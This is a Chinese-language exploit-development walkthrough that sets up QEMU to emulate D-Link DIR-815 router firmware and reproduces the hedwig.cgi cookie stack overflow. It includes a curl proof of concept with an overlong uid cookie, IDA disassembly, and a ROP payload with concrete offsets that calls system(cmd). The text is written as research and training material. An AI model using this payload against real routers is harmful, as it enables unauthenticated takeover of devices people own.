CTF Re&&PwnIoT-Arduino物联网之家

Building MIPS Environment for Ro

2019-02-21  本文已影响128人  Kirin_say

Building MIPS Environment for Router && PWN

Tools for preparation
#D-Link DIR-815 buffer overflow on  hedwig.cgi 
qemu User Mode&&官网固件 搭建调试环境
qemu System Mode&&官网固件 MIPS虚拟机搭建路由器Web服务
debug&&POC编写
run POC&&MIPS虚拟机Web服务下反弹get shell

Tools for preparation

0x01 Full version of binwalk

To get the filesystem

https://github.com/ReFirmLabs/binwalk/blob/master/INSTALL.md

0x02 QEMU

git clone git://git.qemu-project.org/qemu.git
#或者qemu官网下载特定版本源码
sudo apt-get install libglib2.0 libglib2.0-dev
sudo apt-get install autoconf automake libtool
sudo ./configure --static&&sudo make&&sudo make install
#编译时间过长,可使用:
#--target-list=mipsel-softmmu,mipsel-linux-user
#进行选择编译

注意(针对此固件):
版本过高:

http://patchwork.ozlabs.org/patch/989595/

将最新更新的这地方patch掉就能正常使用

版本过低:

Invalid ELF image for this architecture
在qemu/linux-user/elfload.c中patch为:
static bool elf_check_ehdr(struct elfhdr *ehdr)
{
    return (elf_check_arch(ehdr->e_machine)
            && ehdr->e_ehsize == sizeof(struct elfhdr)
            && ehdr->e_phentsize == sizeof(struct elf_phdr)
           // && ehdr->e_shentsize == sizeof(struct elf_shdr)  //注释掉此行
            && (ehdr->e_type == ET_EXEC || ehdr->e_type == ET_DYN));
}

实测中2.5版本比较适用

0x03 libguestfs

To mount qcow2:

sudo apt-get install libguestfs-tools

0x04 MIPS-GCC

mips交叉编译环境搭建:
openwrt或者buildroot:

wget https://downloads.openwrt.org/barrier_breaker/14.07/ramips/mt7620n/OpenWrt-Toolchain-ramips-for-mipsel_24kec%2bdsp-gcc-4.8-linaro_uClibc-0.9.33.2.tar.bz2
tar -jxvf OpenWrt-Toolchain-ramips-for-mipsel_24kec+dsp-gcc-4.8-linaro_uClibc-0.9.33.2.tar.bz2
export STAGING_DIR=~/OpenWrt-Toolchain-ramips-for-mipsel_24kec+dsp-gcc-4.8-linaro_uClibc-0.9.33.2/toolchain-mipsel_24kec+dsp_gcc-4.8-linaro_uClibc-0.9.33.2/bin:$STAGING_DIR
#而后使用STAGING_DIR下的mipsel-openwrt-linux-gcc编译即可,这个适用于刷入openwrt的系统
wget http://buildroot.uclibc.org/downloads/snapshots/buildroot-snapshot.tar.bz2
tar -jxvf buildroot-snapshot.tar.bz2
cd buildroot
make clean
make menuconfig
#配置上:
Target Architecture:MIPS(little endian)
Target Architecture Variant: mips32
Toolchain->Kernel Headers:本机对应的内核版本
#保存配置(可能需要下载依赖:sudo apt-get install libncurses5-dev  patch)
sudo make

0x05 gdb&&gdbserver

下载源码:

ftp://ftp.gnu.org/gnu/gdb

gdb&gdbserver:

gdb->./
gdbserver->./gdb/gdbserver

MIPS环境下:
./configure --host=mipsel-linux --target=mipsel-linux --prefix=......
export CC=....../mipsel-linux-gcc #设置交叉编译环境
生成Makefile后,将$(CC)改为$(CC) -static #静态编译,防止出现库问题
#也可以在$(COMPILER)后添加 -static,能静态编译即可

本机下:
./configure --host=(本机环境) --target=mipsel-linux --prefix=.....

#会有一些报错,可以自己修改源码或者更换版本

0x06 Some Tools for IDA

Retdec

IDA 7.0:

https://github.com/avast-tl/retdec-idaplugin/
#releases
https://github.com/avast-tl/retdec/
#releases

3.2版本不需要其他依赖
在Options->Retdec plugin options配置好retdec-decompiler.py位置即可

MIPS ROP Finder

IDA 6.8:

https://github.com/devttys0/ida/

将:

https://github.com/devttys0/ida/tree/master/plugins/mipsrop

放入IDA_ROOT/plugins/下即可

Building Environment for debug

0x01 Get the binary

官网固件下载:

ftp://ftp2.dlink.com/PRODUCTS/DIR-815/REVA/DIR-815_FIRMWARE_1.01.ZIP

Get the filesystem:

binwalk -e ./DIR-815\ FW\ 1.01b14_1.01b14.bin 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             DLOB firmware header, boot partition: "dev=/dev/mtdblock/2"
108           0x6C            LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 3017436 bytes
983148        0xF006C         PackImg section delimiter tag, little endian size: 14690816 bytes; big endian size: 2809856 bytes
983180        0xF008C         Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 2808054 bytes, 1526 inodes, blocksize: 262144 bytes, created: 2011-05-12 14:14:40

filesystem:

~/router/DIR-815/squashfs-root$ ls
bin  dev  etc  home  htdocs  lib  mnt  proc  sbin  sys  tmp  usr  var  www

漏洞描述:

Buffer overflow on "hedwig. cgi"

Another buffer overflow affects the" hedwig. cgi" CGI script. Unauthenticatedremote attackers can invoke this CGI with an overly-long cookie value thatcan overflow a program buffer and overwrite the saved program address.

Proof-of -concept:
      curl -b uid=$(perl -e' print "A' x1400:;")  -d  ' test' http://<target íp>/hedwig. cgi

hedwig.cgi:

~/router/DIR-815/squashfs-root/htdocs/web$ ls -l|grep hedwig.cgi
lrwxrwxrwx 1 kirin kirin   14 1月   6 23:35 hedwig.cgi -> /htdocs/cgibin

~/router/DIR-815/squashfs-root/htdocs$ checksec ./cgibin 
[!] Could not populate PLT: Invalid memory write (UC_ERR_WRITE_UNMAPPED)
[*] '/home/kirin/router/DIR-815/squashfs-root/htdocs/cgibin'
    Arch:     mips-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

0x02 IDA静态分析

大致分析漏洞点:
首先看到cgibin中:

#main function:
.text:004023E0                 lui     $gp, 0x43  # 'C'
.text:004023E4                 addiu   $sp, -0x30
.text:004023E8                 li      $gp, 0x4346D0
.text:004023EC                 sw      $ra, 0x30+var_4($sp)
.text:004023F0                 sw      $s3, 0x30+var_8($sp)
.text:004023F4                 sw      $s2, 0x30+var_C($sp)
.text:004023F8                 sw      $s1, 0x30+var_10($sp)
.text:004023FC                 sw      $s0, 0x30+var_14($sp)
.text:00402400                 sw      $gp, 0x30+var_20($sp)
.text:00402404                 lw      $s0, 0($a1)
.text:00402408                 la      $t9, strrchr
.text:0040240C                 move    $s2, $a1
.text:00402410                 move    $s1, $a0
.text:00402414                 li      $a1, 0x2F  # '/'  # c
.text:00402418                 move    $a0, $s0         # s
.text:0040241C                 jalr    $t9 ; strrchr
.text:00402420                 move    $s3, $a2
.text:00402424                 lw      $gp, 0x30+var_20($sp)
.text:00402428                 beqz    $v0, loc_402434
.text:0040242C                 nop
.text:00402430                 addiu   $s0, $v0, 1
.text:00402434
.text:00402434 loc_402434:                              # CODE XREF: main+48↑j
.text:00402434                 la      $t9, strcmp
.text:00402438                 la      $a1, aPhpcgi     # "phpcgi"
.text:00402440                 jalr    $t9 ; strcmp
.text:00402444                 move    $a0, $s0         # s1
.text:00402448                 lw      $gp, 0x30+var_20($sp)
.text:0040244C                 bnez    $v0, loc_402460
.text:00402450                 lui     $a1, 0x42  # 'B'
.text:00402454                 la      $t9, phpcgi_main
.text:00402458                 b       loc_40268C
.text:0040245C                 move    $a0, $s1
.text:00402460  # ---------------------------------------------------------------------------
.text:00402460
.text:00402460 loc_402460:                              # CODE XREF: main+6C↑j
.text:00402460                 la      $t9, strcmp
.text:00402464                 addiu   $a1, (aDlcfg_cgi - 0x420000)  # "dlcfg.cgi"
.text:00402468                 jalr    $t9 ; strcmp
.text:0040246C                 move    $a0, $s0         # s1
.text:00402470                 lw      $gp, 0x30+var_20($sp)
.text:00402474                 bnez    $v0, loc_402488
.text:00402478                 lui     $a1, 0x42  # 'B'
.text:0040247C                 la      $t9, dlcfg_main
......
......

采取软链接方式调用程序,并对调用时的binary名称比较,选择处理数据的主函数,因此找到调用hedwig.cgi时对应的main函数hedwigcgi_main:
首先看到在函数开始时:

.text:0040950C                 li      $a2, 0x11        # n
.text:00409510                 lw      $gp, 0x4E8+var_4D8($sp)
.text:00409514                 lui     $a0, 0x42  # 'B'
.text:00409518                 la      $t9, getenv
.text:0040951C                 nop
.text:00409520                 jalr    $t9 ; getenv
.text:00409524                 la      $a0, aRequest_method  # "REQUEST_METHOD"
.text:00409528                 lw      $gp, 0x4E8+var_4D8($sp)
.text:0040952C                 bnez    $v0, loc_409540
.text:00409530                 nop
.text:00409534                 lui     $v0, 0x42  # 'B'
.text:00409538                 b       loc_4095C8
.text:0040953C                 addiu   $a1, $v0, (aNoRequest - 0x420000)  # "no REQUEST"
......
......

程序通过getenv的方式获取HTTP数据包中的数据,流程应该为:

主Web程序监听端口->传送HTTP数据包->
HTTP中headers等数据通过环境变量的方式传给cgi处理程序->
cgi程序通过getenv获取数据并处理返回给主程序->向客户端返回响应数据
#POST具体数据可以通过类似输入流传入 :echo "uid=aaa"| /htdocs/web/hedwig.cgi

因此,动态调试时只需要使用qemu -E设置环境变量或者在mips系统中export设置环境变量并允许程序即可模拟Web场景
下面看到处理cookie的过程:

.text:00409640                 la      $t9, sess_get_uid
.text:00409644                 nop
.text:00409648                 jalr    $t9 ; sess_get_uid
.text:0040964C                 move    $a0, $s5
.text:00409650                 lw      $gp, 0x4E8+var_4D8($sp)
.text:00409654                 nop
.text:00409658                 la      $t9, sobj_get_string
.text:0040965C                 nop
.text:00409660                 jalr    $t9 ; sobj_get_string
.text:00409664                 move    $a0, $s5
.text:00409668                 lw      $gp, 0x4E8+var_4D8($sp)
.text:0040966C                 lui     $a1, 0x42  # 'B'
.text:00409670                 la      $t9, sprintf
.text:00409674                 move    $a3, $v0
.text:00409678                 move    $a2, $s2
.text:0040967C                 la      $a1, aSSPostxml  # "%s/%s/postxml"
.text:00409680                 jalr    $t9 ; sprintf

sess_get_uid function为提取cookie中"uid="后的字符串
这段最终调用为:

sprintf(stack_addr,"%s/%s/postxml","/runtime/session",cookie_after_treat)

此时当cookie过长会覆盖栈中内容
当hedwigcgi_main返回时:

.text:00409A30                 lw      $fp, 0x4E8+var_8($sp)
.text:00409A34                 lw      $s7, 0x4E8+var_C($sp)
.text:00409A38                 lw      $s6, 0x4E8+var_10($sp)
.text:00409A3C                 lw      $s5, 0x4E8+var_14($sp)
.text:00409A40                 lw      $s4, 0x4E8+var_18($sp)
.text:00409A44                 lw      $s3, 0x4E8+var_1C($sp)
.text:00409A48                 lw      $s2, 0x4E8+var_20($sp)
.text:00409A4C                 lw      $s1, 0x4E8+var_24($sp)
.text:00409A50                 lw      $s0, 0x4E8+var_28($sp)
.text:00409A54                 jr      $ra

造成栈溢出
不过后面的程序流程:

.text:004096B0                 la      $a0, aVarTmpTemp_xml  # "/var/tmp/temp.xml"
.text:004096B4                 jalr    $t9 ; fopen
.text:004096B8                 la      $a1, aW          # "w"
.text:004096BC                 lw      $gp, 0x4E8+var_4D8($sp)
.text:004096C0                 bnez    $v0, loc_4096D4
.text:004096C4                 move    $s2, $v0
.text:004096C8                 lui     $v0, 0x42  # 'B'
.text:004096CC                 b       loc_409A64
.text:004096D0                 addiu   $a1, $v0, (aUnableToOpenTe - 0x420000)  # "unable to open temp file."

当在/var/tmp/下成功打开temp.xml ('w'模式),便会有:

.text:00409958                 jalr    $t9 ; sobj_get_string
.text:0040995C                 move    $a0, $s5
.text:00409960                 lw      $gp, 0x4E8+var_4D8($sp)
.text:00409964                 lui     $a1, 0x42  # 'B'
.text:00409968                 la      $t9, sprintf
.text:0040996C                 lui     $a2, 0x42  # 'B'
.text:00409970                 la      $a1, aHtdocsWebincFa  # "/htdocs/webinc/fatlady.php\nprefix=%s/%"...
.text:00409974                 la      $a2, aRuntimeSession  # "/runtime/session"
.text:00409978                 move    $a3, $v0
.text:0040997C                 jalr    $t9 ; sprintf

即:

sprintf(stack_addr,"/htdocs/webinc/fatlady.php\nprefix=%s/%s","/runtime/session",cookie_after_treat)

这里也会造成栈溢出,真实应该是要在这里debug
(因为此处sprintf会覆盖前一个sprintf的数据)

因为如果不存在/var/tmp(打开/var/tmp/temp.xml失败):
.text:004096C4                 move    $s2, $v0
.text:004096C8                 lui     $v0, 0x42  # 'B'
.text:004096CC                 b       loc_409A64
.text:004096D0                 addiu   $a1, $v0, (aUnableToOpenTe - 0x420000)  # "unable to open temp file."
会直接返回unable to open temp file
所以真实环境应该存在/var/tmp文件夹
debug时在./var/下手动创建即可

还需要POST数据包中包含"uid=......"
否则有一处会分配空间失败:

.text:00409AB0                 la      $t9, sobj_strdup
.text:00409AB4                 lw      $a0, 4($s0)
.text:00409AB8                 jalr    $t9 ; sobj_strdup
.text:00409ABC                 nop
.text:00409AC0                 lw      $ra, 0x20+var_4($sp)
.text:00409AC4                 lui     $v1, 0x43  # 'C'
.text:00409AC8                 lw      $gp, 0x20+var_10($sp)
.text:00409ACC                 lw      $s0, 0x20+var_8($sp)
.text:00409AD0                 sw      $v0, haystack
.text:00409AD4                 jr      $ra
.text:00409AD8                 addiu   $sp, 0x20

从而最后:

.text:004096D4                 lw      $v0, haystack
.text:004096DC                 nop
.text:004096E0                 bnez    $v0, loc_4096F0
.text:004096E4                 lui     $v0, 0x42  # 'B'
.text:004096E8                 b       loc_409A64
.text:004096EC                 addiu   $a1, $v0, (aNoXmlData_ - 0x420000)  # "no xml data."

此时也不会进入第二个sprintf,不过第一处依然存在栈溢出
不过这样情况下在我的MIPS虚拟机下复现失败
但是会产生signal 11,失败应该只是环境问题

0x03 Debug Environment with QEMU User Mode

动态debug环境:静态编译的qemu+chroot+IDA

#!/bin/bash
INPUT="$1"
COOKIE="$2"
PORT="$3"
LEN=$(echo -n "$INPUT" | wc -c)

echo $INPUT | chroot . ./qemu-mipsel -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$COOKIE -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="192.168.1.1"  -g $PORT   /htdocs/web/hedwig.cgi 
sudo ./debug.sh  "uid=1234"  "uid=kirin"  1234

IDA下remote gdb debugger连接对应端口即可(推荐IDA 6.8)

0x04 Web Server Build with QEMU System Mode

利用qemu-system-mipsel重现web服务环境
首先观察文件系统
主要看有那些服务&&命令,推测大致启动模式
而后在MIPS中重现关键web服务即可

主要看各个bin下(/bin /sbin /usr/bin /usr/sbin ......)以及web服务特点
首先从web目录下确定服务为php+cgi
在命令中发现httpd
猜测httpd监听web端口,调用cgi&&php程序处理数据并返回客户端

下面找到相关web配置:

~/router/DIR-815/squashfs-root$ find ./ -name "*http*"
./usr/sbin/httpc
./sbin/httpd
./etc/services/HTTP/httpcfg.php
./etc/services/HTTP/httpsvcs.php

看到httpcfg.php:

Umask 026
PIDFile /var/run/httpd.pid
#LogGMT On
#ErrorLog /dev/console

Tuning
{
    NumConnections 15
    BufSize 12288
    InputBufSize 4096
    ScriptBufSize 4096
    NumHeaders 100
    Timeout 60
    ScriptTimeout 60
}

Control
{
    Types
    {
        text/html   { html htm }
        text/xml    { xml }
        text/plain  { txt }
        image/gif   { gif }
        image/jpeg  { jpg }
        text/css    { css }
        application/octet-stream { * }
    }
    Specials
    {
        Dump        { /dump }
        CGI         { cgi }
        Imagemap    { map }
        Redirect    { url }
    }
    External
    {
        /usr/sbin/phpcgi { php }
    }
}

<?
include "/htdocs/phplib/phyinf.php";

function http_server($sname, $uid, $ifname, $af, $ipaddr, $port, $hnap, $widget, $smart404)
{
    echo
        "Server".                           "\n".
        "{".                                "\n".
        "   ServerName \"".$sname."\"".             "\n".
        "   ServerId \"".$uid."\"".                 "\n".
        "   Family ".$af.                       "\n".
        "   Interface ".$ifname.                    "\n".
        "   Address ".$ipaddr.                  "\n".
        "   Port ".$port.                       "\n".
        "   Virtual".                       "\n".
        "   {".                         "\n".
        "       AnyHost".                   "\n".
        "       Control".                   "\n".
        "       {".                     "\n".
        "           Alias /".               "\n".
        "           Location /htdocs/web".          "\n".
        "           IndexNames { index.php }".      "\n";
    if ($uid=="LAN-1"||$uid=="WAN-1")   echo
        "           External".              "\n".
        "           {".                 "\n".
        "               /usr/sbin/phpcgi { txt }".  "\n".
        "           }".                 "\n";
    if ($widget > 0)    echo
        "           External".              "\n".
        "           {".                 "\n".
        "               /usr/sbin/phpcgi { router_info.xml }"."\n".
        "               /usr/sbin/phpcgi { post_login.xml }"."\n".
        "           }".                 "\n";   
    echo
        "       }".                     "\n";
    if ($smart404 != "")
    {
        echo
        '       Control'.                           '\n'.
        '       {'.                                 '\n'.
        '           Alias /smart404'.               '\n'.
        '           Location /htdocs/smart404'.     '\n'.
        '       }'.                                 '\n';
    }
    if ($hnap > 0)
    {
        echo
        "       Control".                   "\n".
        "       {".                     "\n".
        "           Alias /HNAP1".              "\n".
        "           Location /htdocs/HNAP1".        "\n".
        "           External".              "\n".
        "           {".                 "\n".
        "               /usr/sbin/hnap { hnap }".   "\n".
        "           }".                 "\n".
        "           IndexNames { index.hnap }".     "\n".
        "       }".                     "\n";
    }
    echo
        "   }".                         "\n".
        "}".                                "\n";
}

function ssdp_server($sname, $uid, $ifname, $af, $ipaddr)
{
    if ($af=="inet6") return;
    echo
        "Server".                           "\n".
        "{".                                "\n".
        "   ServerName \"".$sname."\"".             "\n".
        "   ServerId \"".$uid."\"".                 "\n".
        "   Family ".$af.                       "\n".
        "   Interface ".$ifname.                    "\n".
        "   Port 1900".                     "\n".
        "   Address 239.255.255.250".               "\n".
        "   Datagrams On".                      "\n".
        "   Virtual".                       "\n".
        "   {".                         "\n".
        "       AnyHost".                   "\n".
        "       Control".                   "\n".
        "       {".                     "\n".
        "           Alias /".               "\n".
        "           Location /htdocs/upnp/docs/".$uid."\n".
        "           External".              "\n".
        "           {".                 "\n".
        "               /htdocs/upnp/ssdpcgi { * }"."\n".
        "           }".                 "\n".
        "       }".                     "\n".
        "   }".                         "\n".
        "}".                                "\n".
        "\n";
}

function upnp_server($sname, $uid, $ifname, $af, $ipaddr, $port)
{
    if ($af=="inet6") return;
    echo
        "Server".                           "\n".
        "{".                                "\n".
        "   ServerName \"".$sname."\"".             "\n".
        "   ServerId \"".$uid."\"".                 "\n".
        "   Family ".$af.                       "\n".
        "   Interface ".$ifname.                    "\n".
        "   Address ".$ipaddr.                  "\n".
        "   Port ".$port.                       "\n".
        "   Virtual".                       "\n".
        "   {".                         "\n".
        "       AnyHost".                   "\n".
        "       Control".                   "\n".
        "       {".                     "\n".
        "           Alias /".               "\n".
        "           Location /htdocs/upnp/docs/".$uid."\n".
        "       }".                     "\n".
        "   }".                         "\n".
        "}".                                "\n".
        "\n";
}

foreach("/runtime/services/http/server")
{
    $model  = query("/runtime/device/modelname");
    $ver    = query("/runtime/device/firmwareversion");
    $smart404 = query("/runtime/smart404");
    $sname  = "Linux, HTTP/1.1, ".$model." Ver ".$ver;  /* HTTP server name */
    $suname = "Linux, UPnP/1.0, ".$model." Ver ".$ver;  /* UPnP server name */
    $mode   = query("mode");
    $inf    = query("inf");
    $ifname = query("ifname");
    $ipaddr = query("ipaddr");
    $port   = query("port");
    $hnap   = query("hnap");
    $widget = query("widget");
    $af     = query("af");
    
    
    if ($af!="" && $ifname!="")
    {
        if      ($mode=="HTTP") http_server($sname, $inf,$ifname,$af,$ipaddr,$port,$hnap,$widget,$smart404);
        else if ($mode=="SSDP") ssdp_server($sname, $inf,$ifname,$af,$ipaddr);
        else if ($mode=="UPNP") upnp_server($suname,$inf,$ifname,$af,$ipaddr,$port);
    }
}

?>

可以看到这里用于生成配置文件
我们只需要其中的http服务
大致审一下function http_server
改写main为:

$smart404 = "kirin";
$sname  = "Linux, HTTP/1.1, ";  /* HTTP server name */
$inf    = "1234";
$ifname = "eth0";
$ipaddr = "127.0.0.1";
$port   = "80";
$hnap   = 1;
$widget = 2;
$af     = "kirin";
    
    
http_server($sname, $inf,$ifname,$af,$ipaddr,$port,$hnap,$widget,$smart404);

运行即可生成配置文件
下面配置qemu system mode下配置MIPS虚拟机:
推荐ubuntu 12.04 32bit,其他的配置网卡容易失败
下载内核和磁盘镜像

https://people.debian.org/~aurel32/qemu/mipsel/
内核:
vmlinux-2.6.32-5-4kc-malta
磁盘镜像:
debian_squeeze_mipsel_standard.qcow2

(最好的方案是使用提取出的文件系统制作镜像,然后qemu运行,不过失败了
只能采取使用MIPS虚拟机并配置对应Web服务)
配置MIPS虚拟机网卡(针对ubuntu 12.04 32bit,其他我没配置成功):
首先安装依赖:

sudo apt-get install bridge-utils uml-utilities

编辑/etc/network/interfaces

auto lo
iface lo inet loopback

auto eth0
iface eth0 inet dhcp
#auto br0
iface br0 inet dhcp
  bridge_ports eth0
  bridge_maxwait 0 

保存后建立桥接网络:

sudo ifdown eth0
sudo ifup eth0
sudo ifup br0

编辑/etc/qemu-ifup为:
(这个脚本会在qemu-system使用时自动启动来配置qemu虚拟机网卡)

#!/bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing $1 for bridged mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
sleep 2

而后启动MIPS虚拟机:

sudo qemu-system-mipsel -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00:16:3e:00:00:01 -net tap -nographic  

启动时虚拟机user&&passwd都是"root"
此时ifconfig -a发现存在eth1,但没有分配ip:
编辑MIPS虚拟机的/etc/network/interfaces

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
allow-hotplug eth1
iface eth1 inet dhcp

而后ifup eth1使eth1生效即可
ifconfig -a看到成功分配ip(和ubuntu的br0 ip对应)
下面在MIPS虚拟机中配置路由器web服务
这里有两种方法:

sudo guestmount  -a ./debian_squeeze_mipsel_standard.qcow2 -m /dev/sda1 ./point
-a+磁盘镜像
-m+需要挂载的磁盘分区
最后+挂载位置
#删除:sudo guestunmount  ./point

而后在指定的文件夹下即可看到磁盘中的文件系统,将固件根目录的htdocs复制到镜像根目录
将etc目录复制到镜像根目录,直接复制即可,覆盖掉的文件没有什么作用
将固件lib下所需要的共享库复制到镜像libc下(libgcc_s.so版本不同,需要覆盖掉):

ld-uClibc-0.9.30.1.so  
libcrypt-0.9.30.1.so  
libc.so.0    
libgcc_s.so.1
ld-uClibc.so.0         
libcrypt.so.0         
libgcc_s.so  
libuClibc-0.9.30.1.so

将httpd复制进镜像,并编写好配置文件(即上面php输出部分):

Umask 026
PIDFile /var/run/httpd.pid
#LogGMT On
#ErrorLog /dev/console

Tuning
{
    NumConnections 15
    BufSize 12288
    InputBufSize 4096
    ScriptBufSize 4096
    NumHeaders 100
    Timeout 60
    ScriptTimeout 60
}

Control
{
    Types
    {
        text/html   { html htm }
        text/xml    { xml }
        text/plain  { txt }
        image/gif   { gif }
        image/jpeg  { jpg }
        text/css    { css }
        application/octet-stream { * }
    }
    Specials
    {
        Dump        { /dump }
        CGI         { cgi }
        Imagemap    { map }
        Redirect    { url }
    }
    External
    {
        /usr/sbin/phpcgi { php }
    }
}

Server
{
    ServerName "Linux, HTTP/1.1, "
    ServerId "1234"
    Family kirin
    Interface eth0
    Address 127.0.0.1
    Port 80
    Virtual
    {
        AnyHost
        Control
        {
            Alias /
            Location /htdocs/web
            IndexNames { index.php }
            External
            {
                /usr/sbin/phpcgi { router_info.xml }
                /usr/sbin/phpcgi { post_login.xml }
            }
        }
       Control
       {
           Alias /smart404
           Location /htdocs/smart404
       }
        Control
        {
            Alias /HNAP1
            Location /htdocs/HNAP1
            External
            {
                /usr/sbin/hnap { hnap }
            }
            IndexNames { index.hnap }
        }
    }
}

静态分析httpd程序,需要修改一些部分:

LogGMT On #开启log
ErrorLog /log  #log文件

Family inet
Interface eth1
Address 192.168.160.142  //对应自己qemu虚拟机IP
Port 1234      //未被占用的端口

再重新挂载启动,流程和前面配置网络相同
根据配置及固件,还需要在MIPS虚拟机中建立两个软连接:

ln -s  /htdocs/cgibin /usr/sbin/phpcgi
ln -s  /htdocs/cgibin /usr/sbin/hnap

配置好虚拟机后根据conf启动httpd服务即可:

httpd  -f ./conf

检测是否成功
在物理机curl测试:

~$ curl http://192.168.160.142:1232/hedwig.cgi -v -X POST -H "Content-Length: 8" -b  "uid=kirin" 
*   Trying 192.168.160.142...
* Connected to 192.168.160.142 (192.168.160.142) port 1232 (#0)
> POST /hedwig.cgi HTTP/1.1
> Host: 192.168.160.142:1232
> User-Agent: curl/7.47.0
> Accept: */*
> Cookie: uid=kirin
> Content-Length: 8
> 
< HTTP/1.1 200 OK
< Server: Linux, HTTP/1.1, 
< Date: Thu, 21 Feb 2019 18:28:12 GMT
< Transfer-Encoding: chunked
< Content-Type: text/xml
< 
* Connection #0 to host 192.168.160.142 left intact
<hedwig><result>FAILED</result><message>no xml data.</message></hedwig>

MIPS虚拟机下查看log:

root@debian-mipsel:/# cat /log
Thu Feb 21 18:28:12 2019 [3391] process_headers: method[POST], nheaders=[4], URL[/hedwig.cgi]
Thu Feb 21 18:28:12 2019 [3391] readfromclient: client went away while posting data
Thu Feb 21 18:28:12 2019 [3391] child process 3418 exited with status 255

Web Server Build Successfully
(注意,这里并没有完全启动,因为毕竟整个固件有其他依赖,不过关键程序已成功启动)
通过前面IDA下的静态分析,在MIPS虚拟机下也可以通过export设置HTTP_METHOD等环境变量来单一调用cgi程序
For example:

root@debian-mipsel:/# export
declare -x CONTENT_LENGTH="20"
declare -x CONTENT_TYPE="application/x-www-form-urlencoded"
declare -x HOME="/root"
declare -x HTTP_COOKIE="uid=1234"
declare -x HUSHLOGIN="FALSE"
declare -x LANG="en_US.UTF-8"
declare -x LOGNAME="root"
declare -x MAIL="/var/mail/root"
declare -x OLDPWD="/proc"
declare -x PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
declare -x PWD="/"
declare -x REMOTE_ADDR="192.168.1.1"
declare -x REQUEST_METHOD="POST"
declare -x REQUEST_URI="/hedwig.cgi"
declare -x SHELL="/bin/bash"
declare -x SHLVL="1"
declare -x TERM="vt100"
declare -x USER="root"
root@debian-mipsel:/# /htdocs/web/hedwig.cgi 
HTTP/1.1 200 OK
Content-Type: text/xml
#缺少POST数据
<hedwig><result>FAILED</result><message>no xml data.</message></hedwig>
root@debian-mipsel:/# echo "uid=1234"|/htdocs/web/hedwig.cgi 
root@debian-mipsel:/                #运行成功

Debug && POC编写

QEMU User Mode+IDA debug即可
MIPS虚拟机下gdbserver总是crash

sudo ./debug.sh  "uid=1234"  `python -c 'printf "uid="+"A"*0x400'`  1234

主要通过IDA动态调试看到成功覆盖栈内返回地址($RA)
以及确定payload偏移量即可
最后利用MIPSROP插件构造ROP chain,这里注意sprintf绕过"\x00"即可,所以选取动态库(libc.so.0 -> libuClibc-0.9.30.1.so)进行构造(因为位于高地址,容易绕过地址高位的"\x00"):

在IDA 6.8中启动mipsrop插件,而后:
mipsrop.stackfinders()
选取特定的ROP elements:
example: mipsrop.find("addiu $s0,1");//参数为所需语句

最终payload:

payload="A"*offset                     #fill
payload+=p32(libc_addr+0x531ff)        # $s0
payload+="A"*4                         # $s1
payload+="A"*4                         # $s2
payload+="A"*4                         # $s3
payload+="A"*4                         # $s4
payload+=p32(libc_addr+0x159cc)        # $s5 
payload+="A"*4                         # $s6
payload+="A"*4                         # $s7
payload+="A"*4                         # $gp
payload+=p32(libc_addr+0x158c8)        # $ra
payload+="A"*16                        #fill
payload+=cmd                           # shellcode

其中:

$ra:libc_addr+0x158c8:
.text:000158C8                 move    $t9, $s5
.text:000158CC                 jalr    $t9
.text:000158D0                 addiu   $s0, 1 #$s0=$s0+1=system_addr-1+1=system_addr
$s5=libc_addr+0x159cc:
.text:000159CC                 addiu   $s5, $sp, 0x170+var_160 #addiu  $s5,$sp,0x10
#->$s5指向 $sp+0x10->cmd
.text:000159D0                 move    $a1, $s3
.text:000159D4                 move    $a2, $s1
.text:000159D8                 move    $t9, $s0 #$t9=$s0=system_addr
.text:000159DC                 jalr    $t9 
.text:000159E0                 move    $a0, $s5#$a0=$s5->cmd

此ROP chain整体流程:

system_addr-1,末位为"\xFF",用于bypass sprintf
执行ROP chain->计算正确的system_addr->将栈中cmd地址传入$a0
最终调用system(cmd)

动态debug可以确定offset为0x3cd
libc_addr:
在ubuntu 16.04下qemu user mode动态调试
可以利用程序一些库中函数在调试中的实际地址减去so文件中该函数偏移量确定libc的加载基址
确定后,在qemu user mode下运行POC,确实会调用到system
不过:在so库中的system中可以看到:

.text:00053200                 .globl system  # weak
.text:00053200 system:                                  # DATA XREF: LOAD:00003324↑o
.text:00053200                                          # LOAD:00005084↑o
.text:00053200
.text:00053200 var_38          = -0x38
.text:00053200 var_30          = -0x30
.text:00053200 var_28          = -0x28
.text:00053200 var_1C          = -0x1C
.text:00053200 var_18          = -0x18
.text:00053200 var_14          = -0x14
.text:00053200 var_10          = -0x10
.text:00053200 var_C           = -0xC
.text:00053200 var_8           = -8
.text:00053200 var_4           = -4
.text:00053200
.text:00053200                 la      $gp, loc_232E0   # Alternative name is '__libc_system'
.text:00053208                 addu    $gp, $t9
.text:0005320C                 addiu   $sp, -0x48
.text:00053210                 sw      $ra, 0x48+var_4($sp)
.text:00053214                 sw      $s5, 0x48+var_8($sp)
.text:00053218                 sw      $s4, 0x48+var_C($sp)
.text:0005321C                 sw      $s3, 0x48+var_10($sp)
.text:00053220                 sw      $s2, 0x48+var_14($sp)
.text:00053224                 sw      $s1, 0x48+var_18($sp)
.text:00053228                 sw      $s0, 0x48+var_1C($sp)
.text:0005322C                 sw      $gp, 0x48+var_30($sp)
.text:00053230                 move    $s5, $a0
.text:00053234                 beqz    $a0, loc_533C4
.text:00053238                 li      $v0, 1
.text:0005323C                 la      $s1, signal
.text:00053240                 li      $a0, 3
.text:00053244                 move    $t9, $s1
.text:00053248                 jalr    $t9 ; signal
